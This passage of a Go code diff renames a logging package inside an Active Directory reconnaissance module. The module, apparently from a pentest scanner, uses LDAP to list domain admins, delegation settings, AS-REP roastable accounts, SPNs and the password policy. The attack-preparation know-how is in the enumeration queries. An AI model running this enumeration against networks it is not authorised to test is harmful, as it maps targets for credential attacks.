Common.LogError(fmt.Sprintf("查询SQL Server时出错: %v", err))
common.LogError(fmt.Sprintf("查询SQL Server时出错: %v", err))
}
// 获取CA服务器
Common.LogDebug("正在查询CA服务器...")
common.LogDebug("正在查询CA服务器...")
caComputers, err := d.GetCAComputers()
if err == nil && len(caComputers) > 0 {
results["CA服务器"] = caComputers
} else if err != nil {
Common.LogError(fmt.Sprintf("查询CA服务器时出错: %v", err))
common.LogError(fmt.Sprintf("查询CA服务器时出错: %v", err))
}
// 获取域控制器
Common.LogDebug("正在查询域控制器...")
common.LogDebug("正在查询域控制器...")
dcQuery := ldap.NewSearchRequest(
d.baseDN,
ldap.ScopeWholeSubtree,
@ -189,42 +189,42 @@ func (d *DomainInfo) GetSpecialComputers() (map[string][]string, error) {
name := entry.GetAttributeValue("cn")
if name != "" {
dcs = append(dcs, name)
Common.LogDebug(fmt.Sprintf("发现域控制器: %s", name))
common.LogDebug(fmt.Sprintf("发现域控制器: %s", name))
}
}
if len(dcs) > 0 {
results["域控制器"] = dcs
Common.LogSuccess(fmt.Sprintf("共发现 %d 个域控制器", len(dcs)))
common.LogSuccess(fmt.Sprintf("共发现 %d 个域控制器", len(dcs)))
} else {
Common.LogDebug("未发现域控制器")
common.LogDebug("未发现域控制器")
}
} else {
Common.LogError(fmt.Sprintf("查询域控制器时出错: %v", err))
common.LogError(fmt.Sprintf("查询域控制器时出错: %v", err))
}
// 获取Exchange服务器
Common.LogDebug("正在查询Exchange服务器...")
common.LogDebug("正在查询Exchange服务器...")
exchangeServers, err := d.GetExchangeServers()
if err == nil && len(exchangeServers) > 0 {
results["Exchange服务器"] = exchangeServers
} else if err != nil {
Common.LogError(fmt.Sprintf("查询Exchange服务器时出错: %v", err))
common.LogError(fmt.Sprintf("查询Exchange服务器时出错: %v", err))
}
if len(results) > 0 {
Common.LogSuccess(fmt.Sprintf("特殊计算机查询完成,共发现 %d 类服务器", len(results)))
common.LogSuccess(fmt.Sprintf("特殊计算机查询完成,共发现 %d 类服务器", len(results)))
for serverType, servers := range results {
Common.LogDebug(fmt.Sprintf("%s: %d 台", serverType, len(servers)))
common.LogDebug(fmt.Sprintf("%s: %d 台", serverType, len(servers)))
}
} else {
Common.LogDebug("未发现任何特殊计算机")
common.LogDebug("未发现任何特殊计算机")
}
return results, nil
}
func (d *DomainInfo) GetDomainUsers() ([]string, error) {
Common.LogDebug("开始查询域用户...")
common.LogDebug("开始查询域用户...")
searchRequest := ldap.NewSearchRequest(
d.baseDN,
@ -240,7 +240,7 @@ func (d *DomainInfo) GetDomainUsers() ([]string, error) {
sr, err := d.conn.SearchWithPaging(searchRequest, 10000)
if err != nil {
Common.LogError(fmt.Sprintf("查询域用户失败: %v", err))
common.LogError(fmt.Sprintf("查询域用户失败: %v", err))
return nil, err
}
@ -249,21 +249,21 @@ func (d *DomainInfo) GetDomainUsers() ([]string, error) {
username := entry.GetAttributeValue("sAMAccountName")
if username != "" {
users = append(users, username)
Common.LogDebug(fmt.Sprintf("发现用户: %s", username))
common.LogDebug(fmt.Sprintf("发现用户: %s", username))
}
}
if len(users) > 0 {
Common.LogSuccess(fmt.Sprintf("共发现 %d 个域用户", len(users)))
common.LogSuccess(fmt.Sprintf("共发现 %d 个域用户", len(users)))
} else {
Common.LogDebug("未发现域用户")
common.LogDebug("未发现域用户")
}
return users, nil
}
func (d *DomainInfo) GetDomainAdmins() ([]string, error) {
Common.LogDebug("开始查询域管理员...")
common.LogDebug("开始查询域管理员...")
searchRequest := ldap.NewSearchRequest(
d.baseDN,
@ -279,14 +279,14 @@ func (d *DomainInfo) GetDomainAdmins() ([]string, error) {
sr, err := d.conn.SearchWithPaging(searchRequest, 10000)
if err != nil {
Common.LogError(fmt.Sprintf("查询Domain Admins组失败: %v", err))
common.LogError(fmt.Sprintf("查询Domain Admins组失败: %v", err))
return nil, err
}
var admins []string
if len(sr.Entries) > 0 {
members := sr.Entries[0].GetAttributeValues("member")
Common.LogDebug(fmt.Sprintf("发现 %d 个Domain Admins组成员", len(members)))
common.LogDebug(fmt.Sprintf("发现 %d 个Domain Admins组成员", len(members)))
for _, memberDN := range members {
memberSearch := ldap.NewSearchRequest(
@ -303,7 +303,7 @@ func (d *DomainInfo) GetDomainAdmins() ([]string, error) {
memberResult, err := d.conn.Search(memberSearch)
if err != nil {
Common.LogError(fmt.Sprintf("查询成员 %s 失败: %v", memberDN, err))
common.LogError(fmt.Sprintf("查询成员 %s 失败: %v", memberDN, err))
continue
}
@ -311,23 +311,23 @@ func (d *DomainInfo) GetDomainAdmins() ([]string, error) {
samAccountName := memberResult.Entries[0].GetAttributeValue("sAMAccountName")
if samAccountName != "" {
admins = append(admins, samAccountName)
Common.LogDebug(fmt.Sprintf("发现域管理员: %s", samAccountName))
common.LogDebug(fmt.Sprintf("发现域管理员: %s", samAccountName))
}
}
}
}
if len(admins) > 0 {
Common.LogSuccess(fmt.Sprintf("共发现 %d 个域管理员", len(admins)))
common.LogSuccess(fmt.Sprintf("共发现 %d 个域管理员", len(admins)))
} else {
Common.LogDebug("未发现域管理员")
common.LogDebug("未发现域管理员")
}
return admins, nil
}
func (d *DomainInfo) GetOUs() ([]string, error) {
Common.LogDebug("开始查询组织单位(OU)...")
common.LogDebug("开始查询组织单位(OU)...")
searchRequest := ldap.NewSearchRequest(
d.baseDN,
@ -343,7 +343,7 @@ func (d *DomainInfo) GetOUs() ([]string, error) {
sr, err := d.conn.SearchWithPaging(searchRequest, 10000)
if err != nil {
Common.LogError(fmt.Sprintf("查询OU失败: %v", err))
common.LogError(fmt.Sprintf("查询OU失败: %v", err))
return nil, err
}
@ -352,21 +352,21 @@ func (d *DomainInfo) GetOUs() ([]string, error) {
ou := entry.GetAttributeValue("ou")
if ou != "" {
ous = append(ous, ou)
Common.LogDebug(fmt.Sprintf("发现OU: %s", ou))
common.LogDebug(fmt.Sprintf("发现OU: %s", ou))
}
}
if len(ous) > 0 {
Common.LogSuccess(fmt.Sprintf("共发现 %d 个组织单位", len(ous)))
common.LogSuccess(fmt.Sprintf("共发现 %d 个组织单位", len(ous)))
} else {
Common.LogDebug("未发现组织单位")
common.LogDebug("未发现组织单位")
}
return ous, nil
}
func (d *DomainInfo) GetComputers() ([]Computer, error) {
Common.LogDebug("开始查询域内计算机...")
common.LogDebug("开始查询域内计算机...")
searchRequest := ldap.NewSearchRequest(
d.baseDN,
@ -382,7 +382,7 @@ func (d *DomainInfo) GetComputers() ([]Computer, error) {
sr, err := d.conn.SearchWithPaging(searchRequest, 10000)
if err != nil {
Common.LogError(fmt.Sprintf("查询计算机失败: %v", err))
common.LogError(fmt.Sprintf("查询计算机失败: %v", err))
return nil, err
}
@ -394,14 +394,14 @@ func (d *DomainInfo) GetComputers() ([]Computer, error) {
DNSHostName: entry.GetAttributeValue("dNSHostName"),
}
computers = append(computers, computer)
Common.LogDebug(fmt.Sprintf("发现计算机: %s (OS: %s, DNS: %s)",
common.LogDebug(fmt.Sprintf("发现计算机: %s (OS: %s, DNS: %s)",
computer.Name,
computer.OperatingSystem,
computer.DNSHostName))
}
if len(computers) > 0 {
Common.LogSuccess(fmt.Sprintf("共发现 %d 台计算机", len(computers)))
common.LogSuccess(fmt.Sprintf("共发现 %d 台计算机", len(computers)))
// 统计操作系统分布
osCount := make(map[string]int)
@ -412,10 +412,10 @@ func (d *DomainInfo) GetComputers() ([]Computer, error) {
}
for os, count := range osCount {
Common.LogDebug(fmt.Sprintf("操作系统 %s: %d 台", os, count))
common.LogDebug(fmt.Sprintf("操作系统 %s: %d 台", os, count))
}
} else {
Common.LogDebug("未发现计算机")
common.LogDebug("未发现计算机")
}
return computers, nil
@ -429,7 +429,7 @@ type Computer struct {
}
func (d *DomainInfo) GetTrustDomains() ([]string, error) {
Common.LogDebug("开始查询域信任关系...")
common.LogDebug("开始查询域信任关系...")
searchRequest := ldap.NewSearchRequest(
d.baseDN,
@ -445,7 +445,7 @@ func (d *DomainInfo) GetTrustDomains() ([]string, error) {
sr, err := d.conn.SearchWithPaging(searchRequest, 10000)
if err != nil {
Common.LogError(fmt.Sprintf("查询信任域失败: %v", err))
common.LogError(fmt.Sprintf("查询信任域失败: %v", err))
return nil, err
}
@ -454,21 +454,21 @@ func (d *DomainInfo) GetTrustDomains() ([]string, error) {
cn := entry.GetAttributeValue("cn")
if cn != "" {
trustInfo = append(trustInfo, cn)
Common.LogDebug(fmt.Sprintf("发现信任域: %s", cn))
common.LogDebug(fmt.Sprintf("发现信任域: %s", cn))
}
}
if len(trustInfo) > 0 {
Common.LogSuccess(fmt.Sprintf("共发现 %d 个信任域", len(trustInfo)))
common.LogSuccess(fmt.Sprintf("共发现 %d 个信任域", len(trustInfo)))
} else {
Common.LogDebug("未发现信任域关系")
common.LogDebug("未发现信任域关系")
}
return trustInfo, nil
}
func (d *DomainInfo) GetAdminGroups() (map[string][]string, error) {
Common.LogDebug("开始查询管理员组信息...")
common.LogDebug("开始查询管理员组信息...")
adminGroups := map[string]string{
"Domain Admins": "(&(objectClass=group)(cn=Domain Admins))",
@ -479,7 +479,7 @@ func (d *DomainInfo) GetAdminGroups() (map[string][]string, error) {
results := make(map[string][]string)
for groupName, filter := range adminGroups {
Common.LogDebug(fmt.Sprintf("正在查询 %s 组...", groupName))
common.LogDebug(fmt.Sprintf("正在查询 %s 组...", groupName))
searchRequest := ldap.NewSearchRequest(
d.baseDN,
@ -495,7 +495,7 @@ func (d *DomainInfo) GetAdminGroups() (map[string][]string, error) {
sr, err := d.conn.SearchWithPaging(searchRequest, 10000)
if err != nil {
Common.LogError(fmt.Sprintf("查询 %s 组失败: %v", groupName, err))
common.LogError(fmt.Sprintf("查询 %s 组失败: %v", groupName, err))
continue
}
@ -503,27 +503,27 @@ func (d *DomainInfo) GetAdminGroups() (map[string][]string, error) {
members := sr.Entries[0].GetAttributeValues("member")
if len(members) > 0 {
results[groupName] = members
Common.LogDebug(fmt.Sprintf("%s 组成员数量: %d", groupName, len(members)))
common.LogDebug(fmt.Sprintf("%s 组成员数量: %d", groupName, len(members)))
for _, member := range members {
Common.LogDebug(fmt.Sprintf("- %s: %s", groupName, member))
common.LogDebug(fmt.Sprintf("- %s: %s", groupName, member))
}
} else {
Common.LogDebug(fmt.Sprintf("%s 组未发现成员", groupName))
common.LogDebug(fmt.Sprintf("%s 组未发现成员", groupName))
}
}
}
if len(results) > 0 {
Common.LogSuccess(fmt.Sprintf("共发现 %d 个管理员组", len(results)))
common.LogSuccess(fmt.Sprintf("共发现 %d 个管理员组", len(results)))
} else {
Common.LogDebug("未发现管理员组信息")
common.LogDebug("未发现管理员组信息")
}
return results, nil
}
func (d *DomainInfo) GetDelegation() (map[string][]string, error) {
Common.LogDebug("开始查询委派信息...")
common.LogDebug("开始查询委派信息...")
delegationQueries := map[string]string{
"非约束委派": "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))",
@ -534,7 +534,7 @@ func (d *DomainInfo) GetDelegation() (map[string][]string, error) {
results := make(map[string][]string)
for delegationType, query := range delegationQueries {
Common.LogDebug(fmt.Sprintf("正在查询%s...", delegationType))
common.LogDebug(fmt.Sprintf("正在查询%s...", delegationType))
searchRequest := ldap.NewSearchRequest(
d.baseDN,
@ -550,7 +550,7 @@ func (d *DomainInfo) GetDelegation() (map[string][]string, error) {
sr, err := d.conn.SearchWithPaging(searchRequest, 10000)
if err != nil {
Common.LogError(fmt.Sprintf("查询%s失败: %v", delegationType, err))
common.LogError(fmt.Sprintf("查询%s失败: %v", delegationType, err))
continue
}
@ -559,22 +559,22 @@ func (d *DomainInfo) GetDelegation() (map[string][]string, error) {
cn := entry.GetAttributeValue("cn")
if cn != "" {
entries = append(entries, cn)
Common.LogDebug(fmt.Sprintf("发现%s: %s", delegationType, cn))
common.LogDebug(fmt.Sprintf("发现%s: %s", delegationType, cn))
}
}
if len(entries) > 0 {
results[delegationType] = entries
Common.LogSuccess(fmt.Sprintf("%s: 发现 %d 条记录", delegationType, len(entries)))
common.LogSuccess(fmt.Sprintf("%s: 发现 %d 条记录", delegationType, len(entries)))
} else {
Common.LogDebug(fmt.Sprintf("未发现%s记录", delegationType))
common.LogDebug(fmt.Sprintf("未发现%s记录", delegationType))
}
}
if len(results) > 0 {
Common.LogSuccess(fmt.Sprintf("共发现 %d 类委派配置", len(results)))
common.LogSuccess(fmt.Sprintf("共发现 %d 类委派配置", len(results)))
} else {
Common.LogDebug("未发现任何委派配置")
common.LogDebug("未发现任何委派配置")
}
return results, nil
@ -582,7 +582,7 @@ func (d *DomainInfo) GetDelegation() (map[string][]string, error) {
// 获取AS-REP Roasting漏洞用户
func (d *DomainInfo) GetAsrepRoastUsers() ([]string, error) {
Common.LogDebug("开始查询AS-REP Roasting漏洞用户...")
common.LogDebug("开始查询AS-REP Roasting漏洞用户...")
searchRequest := ldap.NewSearchRequest(
d.baseDN,
@ -598,7 +598,7 @@ func (d *DomainInfo) GetAsrepRoastUsers() ([]string, error) {
sr, err := d.conn.SearchWithPaging(searchRequest, 10000)
if err != nil {
Common.LogError(fmt.Sprintf("查询AS-REP Roasting漏洞用户失败: %v", err))
common.LogError(fmt.Sprintf("查询AS-REP Roasting漏洞用户失败: %v", err))
return nil, err
}
@ -607,21 +607,21 @@ func (d *DomainInfo) GetAsrepRoastUsers() ([]string, error) {
name := entry.GetAttributeValue("sAMAccountName")
if name != "" {
users = append(users, name)
Common.LogDebug(fmt.Sprintf("发现存在AS-REP Roasting漏洞的用户: %s", name))
common.LogDebug(fmt.Sprintf("发现存在AS-REP Roasting漏洞的用户: %s", name))
}
}
if len(users) > 0 {
Common.LogSuccess(fmt.Sprintf("共发现 %d 个存在AS-REP Roasting漏洞的用户", len(users)))
common.LogSuccess(fmt.Sprintf("共发现 %d 个存在AS-REP Roasting漏洞的用户", len(users)))
} else {
Common.LogDebug("未发现存在AS-REP Roasting漏洞的用户")
common.LogDebug("未发现存在AS-REP Roasting漏洞的用户")
}
return users, nil
}
func (d *DomainInfo) GetPasswordPolicy() (map[string]string, error) {
Common.LogDebug("开始查询域密码策略...")
common.LogDebug("开始查询域密码策略...")
searchRequest := ldap.NewSearchRequest(
d.baseDN,
@ -645,12 +645,12 @@ func (d *DomainInfo) GetPasswordPolicy() (map[string]string, error) {
sr, err := d.conn.Search(searchRequest)
if err != nil {
Common.LogError(fmt.Sprintf("查询密码策略失败: %v", err))
common.LogError(fmt.Sprintf("查询密码策略失败: %v", err))
return nil, err
}
if len(sr.Entries) == 0 {
Common.LogError("未找到密码策略信息")
common.LogError("未找到密码策略信息")
return nil, fmt.Errorf("未找到密码策略信息")
}
@ -663,47 +663,47 @@ func (d *DomainInfo) GetPasswordPolicy() (map[string]string, error) {
if maxAgeInt != 0 {
days := float64(maxAgeInt) * -1 / float64(864000000000)
policy["最大密码期限"] = fmt.Sprintf("%.0f天", days)
Common.LogDebug(fmt.Sprintf("最大密码期限: %.0f天", days))
common.LogDebug(fmt.Sprintf("最大密码期限: %.0f天", days))
}
}
if minLength := entry.GetAttributeValue("minPwdLength"); minLength != "" {
policy["最小密码长度"] = minLength + "个字符"
Common.LogDebug(fmt.Sprintf("最小密码长度: %s个字符", minLength))
common.LogDebug(fmt.Sprintf("最小密码长度: %s个字符", minLength))
}
if historyLength := entry.GetAttributeValue("pwdHistoryLength"); historyLength != "" {
policy["密码历史长度"] = historyLength + "个"
Common.LogDebug(fmt.Sprintf("密码历史长度: %s个", historyLength))
common.LogDebug(fmt.Sprintf("密码历史长度: %s个", historyLength))
}
if lockoutThreshold := entry.GetAttributeValue("lockoutThreshold"); lockoutThreshold != "" {
policy["账户锁定阈值"] = lockoutThreshold + "次"
Common.LogDebug(fmt.Sprintf("账户锁定阈值: %s次", lockoutThreshold))
common.LogDebug(fmt.Sprintf("账户锁定阈值: %s次", lockoutThreshold))
}
if len(policy) > 0 {
Common.LogSuccess(fmt.Sprintf("成功获取域密码策略,共 %d 项配置", len(policy)))
common.LogSuccess(fmt.Sprintf("成功获取域密码策略,共 %d 项配置", len(policy)))
// 安全性评估
minLengthInt, _ := strconv.Atoi(strings.TrimSuffix(policy["最小密码长度"], "个字符"))
if minLengthInt < 8 {
Common.LogDebug("警告密码最小长度小于8个字符存在安全风险")
common.LogDebug("警告密码最小长度小于8个字符存在安全风险")
}
lockoutThresholdInt, _ := strconv.Atoi(strings.TrimSuffix(policy["账户锁定阈值"], "次"))
if lockoutThresholdInt == 0 {
Common.LogDebug("警告:未启用账户锁定策略,存在暴力破解风险")
common.LogDebug("警告:未启用账户锁定策略,存在暴力破解风险")
}
} else {
Common.LogDebug("未获取到任何密码策略配置")
common.LogDebug("未获取到任何密码策略配置")
}
return policy, nil
}
func (d *DomainInfo) GetSPNs() (map[string][]string, error) {
Common.LogDebug("开始查询SPN信息...")
common.LogDebug("开始查询SPN信息...")
searchRequest := ldap.NewSearchRequest(
d.baseDN,
@ -719,7 +719,7 @@ func (d *DomainInfo) GetSPNs() (map[string][]string, error) {
sr, err := d.conn.SearchWithPaging(searchRequest, 10000)
if err != nil {
Common.LogError(fmt.Sprintf("查询SPN失败: %v", err))
common.LogError(fmt.Sprintf("查询SPN失败: %v", err))
return nil, err
}
@ -732,53 +732,53 @@ func (d *DomainInfo) GetSPNs() (map[string][]string, error) {
if len(spnList) > 0 {
key := fmt.Sprintf("SPN%s", dn)
spns[key] = spnList
Common.LogDebug(fmt.Sprintf("发现SPN - CN: %s", cn))
common.LogDebug(fmt.Sprintf("发现SPN - CN: %s", cn))
for _, spn := range spnList {
Common.LogDebug(fmt.Sprintf(" - %s", spn))
common.LogDebug(fmt.Sprintf(" - %s", spn))
}
}
}
if len(spns) > 0 {
Common.LogSuccess(fmt.Sprintf("共发现 %d 个SPN配置", len(spns)))
common.LogSuccess(fmt.Sprintf("共发现 %d 个SPN配置", len(spns)))
} else {
Common.LogDebug("未发现SPN配置")
common.LogDebug("未发现SPN配置")
}
return spns, nil
}
func getDomainController() (string, error) {
Common.LogDebug("开始查询域控制器地址...")
common.LogDebug("开始查询域控制器地址...")
// 尝试使用wmic获取当前域名
Common.LogDebug("正在使用wmic获取域名...")
common.LogDebug("正在使用wmic获取域名...")
cmd := exec.Command("wmic", "computersystem", "get", "domain")
output, err := cmd.Output()
if err != nil {
Common.LogError(fmt.Sprintf("获取域名失败: %v", err))
common.LogError(fmt.Sprintf("获取域名失败: %v", err))
return "", fmt.Errorf("获取域名失败: %v", err)
}
lines := strings.Split(string(output), "\n")
if len(lines) < 2 {
Common.LogError("wmic输出格式异常未找到域名")
common.LogError("wmic输出格式异常未找到域名")
return "", fmt.Errorf("未找到域名")
}
domain := strings.TrimSpace(lines[1])
if domain == "" {
Common.LogError("获取到的域名为空")
common.LogError("获取到的域名为空")
return "", fmt.Errorf("域名为空")
}
Common.LogDebug(fmt.Sprintf("获取到域名: %s", domain))
common.LogDebug(fmt.Sprintf("获取到域名: %s", domain))
// 使用nslookup查询域控制器
Common.LogDebug(fmt.Sprintf("正在使用nslookup查询域控制器 (_ldap._tcp.dc._msdcs.%s)...", domain))
common.LogDebug(fmt.Sprintf("正在使用nslookup查询域控制器 (_ldap._tcp.dc._msdcs.%s)...", domain))
cmd = exec.Command("nslookup", "-type=SRV", fmt.Sprintf("_ldap._tcp.dc._msdcs.%s", domain))
output, err = cmd.Output()
if err != nil {
Common.LogError(fmt.Sprintf("nslookup查询失败: %v", err))
common.LogError(fmt.Sprintf("nslookup查询失败: %v", err))
return "", fmt.Errorf("查询域控制器失败: %v", err)
}
@ -790,68 +790,68 @@ func getDomainController() (string, error) {
if len(parts) > 1 {
dcHost := strings.TrimSpace(parts[1])
dcHost = strings.TrimSuffix(dcHost, ".")
Common.LogSuccess(fmt.Sprintf("找到域控制器: %s", dcHost))
common.LogSuccess(fmt.Sprintf("找到域控制器: %s", dcHost))
return dcHost, nil
}
}
}
// 尝试使用域名前缀加DC后缀
Common.LogDebug("未从nslookup获取到域控制器尝试使用域名前缀...")
common.LogDebug("未从nslookup获取到域控制器尝试使用域名前缀...")
domainParts := strings.Split(domain, ".")
if len(domainParts) > 0 {
dcHost := fmt.Sprintf("dc.%s", domain)
Common.LogDebug(fmt.Sprintf("使用备选域控制器地址: %s", dcHost))
common.LogDebug(fmt.Sprintf("使用备选域控制器地址: %s", dcHost))
return dcHost, nil
}
Common.LogError("无法获取域控制器地址")
common.LogError("无法获取域控制器地址")
return "", fmt.Errorf("无法获取域控制器地址")
}
func NewDomainInfo() (*DomainInfo, error) {
Common.LogDebug("开始初始化域信息...")
common.LogDebug("开始初始化域信息...")
// 获取域控制器地址
Common.LogDebug("正在获取域控制器地址...")
common.LogDebug("正在获取域控制器地址...")
dcHost, err := getDomainController()
if err != nil {
Common.LogError(fmt.Sprintf("获取域控制器失败: %v", err))
common.LogError(fmt.Sprintf("获取域控制器失败: %v", err))
return nil, fmt.Errorf("获取域控制器失败: %v", err)
}
Common.LogDebug(fmt.Sprintf("成功获取域控制器地址: %s", dcHost))
common.LogDebug(fmt.Sprintf("成功获取域控制器地址: %s", dcHost))
// 创建SSPI客户端
Common.LogDebug("正在创建SSPI客户端...")
common.LogDebug("正在创建SSPI客户端...")
ldapClient, err := gssapi.NewSSPIClient()
if err != nil {
Common.LogError(fmt.Sprintf("创建SSPI客户端失败: %v", err))
common.LogError(fmt.Sprintf("创建SSPI客户端失败: %v", err))
return nil, fmt.Errorf("创建SSPI客户端失败: %v", err)
}
defer ldapClient.Close()
Common.LogDebug("SSPI客户端创建成功")
common.LogDebug("SSPI客户端创建成功")
// 创建LDAP连接
Common.LogDebug(fmt.Sprintf("正在连接LDAP服务器 ldap://%s:389", dcHost))
common.LogDebug(fmt.Sprintf("正在连接LDAP服务器 ldap://%s:389", dcHost))
conn, err := ldap.DialURL(fmt.Sprintf("ldap://%s:389", dcHost))
if err != nil {
Common.LogError(fmt.Sprintf("LDAP连接失败: %v", err))
common.LogError(fmt.Sprintf("LDAP连接失败: %v", err))
return nil, fmt.Errorf("LDAP连接失败: %v", err)
}
Common.LogDebug("LDAP连接建立成功")
common.LogDebug("LDAP连接建立成功")
// 使用GSSAPI进行绑定
Common.LogDebug(fmt.Sprintf("正在进行GSSAPI绑定 (ldap/%s)...", dcHost))
common.LogDebug(fmt.Sprintf("正在进行GSSAPI绑定 (ldap/%s)...", dcHost))
err = conn.GSSAPIBind(ldapClient, fmt.Sprintf("ldap/%s", dcHost), "")
if err != nil {
conn.Close()
Common.LogError(fmt.Sprintf("GSSAPI绑定失败: %v", err))
common.LogError(fmt.Sprintf("GSSAPI绑定失败: %v", err))
return nil, fmt.Errorf("GSSAPI绑定失败: %v", err)
}
Common.LogDebug("GSSAPI绑定成功")
common.LogDebug("GSSAPI绑定成功")
// 获取defaultNamingContext
Common.LogDebug("正在查询defaultNamingContext...")
common.LogDebug("正在查询defaultNamingContext...")
searchRequest := ldap.NewSearchRequest(
"",
ldap.ScopeBaseObject,
@ -865,23 +865,23 @@ func NewDomainInfo() (*DomainInfo, error) {
result, err := conn.Search(searchRequest)
if err != nil {
conn.Close()
Common.LogError(fmt.Sprintf("获取defaultNamingContext失败: %v", err))
common.LogError(fmt.Sprintf("获取defaultNamingContext失败: %v", err))
return nil, fmt.Errorf("获取defaultNamingContext失败: %v", err)
}
if len(result.Entries) == 0 {
conn.Close()
Common.LogError("未找到defaultNamingContext")
common.LogError("未找到defaultNamingContext")
return nil, fmt.Errorf("未找到defaultNamingContext")
}
baseDN := result.Entries[0].GetAttributeValue("defaultNamingContext")
if baseDN == "" {
Common.LogDebug("defaultNamingContext为空使用备选方法获取BaseDN")
common.LogDebug("defaultNamingContext为空使用备选方法获取BaseDN")
baseDN = getDomainDN(dcHost) // 使用备选方法
}
Common.LogSuccess(fmt.Sprintf("初始化完成使用BaseDN: %s", baseDN))
common.LogSuccess(fmt.Sprintf("初始化完成使用BaseDN: %s", baseDN))
return &DomainInfo{
conn: conn,
@ -889,13 +889,13 @@ func NewDomainInfo() (*DomainInfo, error) {
}, nil
}
func DCInfoScan(info *Common.HostInfo) (err error) {
func DCInfoScan(info *common.HostInfo) (err error) {
// 创建DomainInfo实例
Common.LogDebug("正在初始化域信息...")
common.LogDebug("正在初始化域信息...")
di, err := NewDomainInfo()
if err != nil {
Common.LogError(fmt.Sprintf("初始化域信息失败: %v", err))
common.LogError(fmt.Sprintf("初始化域信息失败: %v", err))
return err
}
defer di.Close()
@ -903,7 +903,7 @@ func DCInfoScan(info *Common.HostInfo) (err error) {
// 获取特殊计算机列表
specialComputers, err := di.GetSpecialComputers()
if err != nil {
Common.LogError(fmt.Sprintf("获取特殊计算机失败: %v", err))
common.LogError(fmt.Sprintf("获取特殊计算机失败: %v", err))
} else {
categories := []string{
"SQL服务器",
@ -912,12 +912,12 @@ func DCInfoScan(info *Common.HostInfo) (err error) {
"Exchange服务器",
}
Common.LogSuccess("[*] 特殊计算机信息:")
common.LogSuccess("[*] 特殊计算机信息:")
for _, category := range categories {
if computers, ok := specialComputers[category]; ok {
Common.LogSuccess(fmt.Sprintf("[+] %s:", category))
common.LogSuccess(fmt.Sprintf("[+] %s:", category))
for _, computer := range computers {
Common.LogSuccess(fmt.Sprintf(" %s", computer))
common.LogSuccess(fmt.Sprintf(" %s", computer))
}
}
}
@ -926,47 +926,47 @@ func DCInfoScan(info *Common.HostInfo) (err error) {
// 获取域用户
users, err := di.GetDomainUsers()
if err != nil {
Common.LogError(fmt.Sprintf("获取域用户失败: %v", err))
common.LogError(fmt.Sprintf("获取域用户失败: %v", err))
} else {
Common.LogSuccess("[*] 域用户列表:")
common.LogSuccess("[*] 域用户列表:")
for _, user := range users {
Common.LogSuccess(fmt.Sprintf(" %s", user))
common.LogSuccess(fmt.Sprintf(" %s", user))
}
}
// 获取域管理员
admins, err := di.GetDomainAdmins()
if err != nil {
Common.LogError(fmt.Sprintf("获取域管理员失败: %v", err))
common.LogError(fmt.Sprintf("获取域管理员失败: %v", err))
} else {
Common.LogSuccess("[*] 域管理员列表:")
common.LogSuccess("[*] 域管理员列表:")
for _, admin := range admins {
Common.LogSuccess(fmt.Sprintf(" %s", admin))
common.LogSuccess(fmt.Sprintf(" %s", admin))
}
}
// 获取组织单位
ous, err := di.GetOUs()
if err != nil {
Common.LogError(fmt.Sprintf("获取组织单位失败: %v", err))
common.LogError(fmt.Sprintf("获取组织单位失败: %v", err))
} else {
Common.LogSuccess("[*] 组织单位:")
common.LogSuccess("[*] 组织单位:")
for _, ou := range ous {
Common.LogSuccess(fmt.Sprintf(" %s", ou))
common.LogSuccess(fmt.Sprintf(" %s", ou))
}
}
// 获取域计算机
computers, err := di.GetComputers()
if err != nil {
Common.LogError(fmt.Sprintf("获取域计算机失败: %v", err))
common.LogError(fmt.Sprintf("获取域计算机失败: %v", err))
} else {
Common.LogSuccess("[*] 域计算机:")
common.LogSuccess("[*] 域计算机:")
for _, computer := range computers {
if computer.OperatingSystem != "" {
Common.LogSuccess(fmt.Sprintf(" %s --> %s", computer.Name, computer.OperatingSystem))
common.LogSuccess(fmt.Sprintf(" %s --> %s", computer.Name, computer.OperatingSystem))
} else {
Common.LogSuccess(fmt.Sprintf(" %s", computer.Name))
common.LogSuccess(fmt.Sprintf(" %s", computer.Name))
}
}
}
@ -974,20 +974,20 @@ func DCInfoScan(info *Common.HostInfo) (err error) {
// 获取信任域关系
trustDomains, err := di.GetTrustDomains()
if err == nil && len(trustDomains) > 0 {
Common.LogSuccess("[*] 信任域关系:")
common.LogSuccess("[*] 信任域关系:")
for _, domain := range trustDomains {
Common.LogSuccess(fmt.Sprintf(" %s", domain))
common.LogSuccess(fmt.Sprintf(" %s", domain))
}
}
// 获取域管理员组信息
adminGroups, err := di.GetAdminGroups()
if err == nil && len(adminGroups) > 0 {
Common.LogSuccess("[*] 管理员组信息:")
common.LogSuccess("[*] 管理员组信息:")
for groupName, members := range adminGroups {
Common.LogSuccess(fmt.Sprintf("[+] %s成员:", groupName))
common.LogSuccess(fmt.Sprintf("[+] %s成员:", groupName))
for _, member := range members {
Common.LogSuccess(fmt.Sprintf(" %s", member))
common.LogSuccess(fmt.Sprintf(" %s", member))
}
}
}
@ -995,11 +995,11 @@ func DCInfoScan(info *Common.HostInfo) (err error) {
// 获取委派信息
delegations, err := di.GetDelegation()
if err == nil && len(delegations) > 0 {
Common.LogSuccess("[*] 委派信息:")
common.LogSuccess("[*] 委派信息:")
for delegationType, entries := range delegations {
Common.LogSuccess(fmt.Sprintf("[+] %s:", delegationType))
common.LogSuccess(fmt.Sprintf("[+] %s:", delegationType))
for _, entry := range entries {
Common.LogSuccess(fmt.Sprintf(" %s", entry))
common.LogSuccess(fmt.Sprintf(" %s", entry))
}
}
}
@ -1007,31 +1007,31 @@ func DCInfoScan(info *Common.HostInfo) (err error) {
// 获取AS-REP Roasting漏洞用户
asrepUsers, err := di.GetAsrepRoastUsers()
if err == nil && len(asrepUsers) > 0 {
Common.LogSuccess("[*] AS-REP弱口令账户:")
common.LogSuccess("[*] AS-REP弱口令账户:")
for _, user := range asrepUsers {
Common.LogSuccess(fmt.Sprintf(" %s", user))
common.LogSuccess(fmt.Sprintf(" %s", user))
}
}
// 获取域密码策略
passwordPolicy, err := di.GetPasswordPolicy()
if err == nil && len(passwordPolicy) > 0 {
Common.LogSuccess("[*] 域密码策略:")
common.LogSuccess("[*] 域密码策略:")
for key, value := range passwordPolicy {
Common.LogSuccess(fmt.Sprintf(" %s: %s", key, value))
common.LogSuccess(fmt.Sprintf(" %s: %s", key, value))
}
}
// 获取SPN信息
spns, err := di.GetSPNs()
if err != nil {
Common.LogError(fmt.Sprintf("获取SPN信息失败: %v", err))
common.LogError(fmt.Sprintf("获取SPN信息失败: %v", err))
} else if len(spns) > 0 {
